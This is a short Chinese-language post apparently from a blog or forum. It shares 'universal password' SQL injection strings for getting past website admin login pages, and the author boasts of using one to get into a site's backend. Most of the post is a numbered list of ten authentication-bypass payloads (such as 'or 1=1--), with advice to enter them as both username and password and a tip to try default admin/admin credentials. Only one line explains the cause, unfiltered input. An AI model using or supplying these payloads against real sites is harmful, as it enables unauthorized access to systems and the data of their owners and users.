sql注入万能密码

这万能密码应该成为历史了，我都不当回事，结果这次真派上用场了，还真进了后台了



网站后台万能密码就是在用户名与密码处都写入下列字符,如果知道管理员帐号的话直接添帐号,效果会更好!

例如我们要利用第一条就是:

用户名:"or "a"="a

密码:"or "a"="a

*********************************************************

1："or "a"="a
2： '.).or.('.a.'='.a 
3：or 1=1--
4：'or 1=1--
5：a'or' 1=1--
6："or 1=1--
7：'or.'a.'='a
8："or"="a'='a
9：'or''='
10：'or'='or'

原理都是利用SQL语法来利用注入,其实这也是注入的一种,都是因为提交字符未加过滤或过滤不严而导致的.

其实万能是没有的,默认是很多的,
admin
admin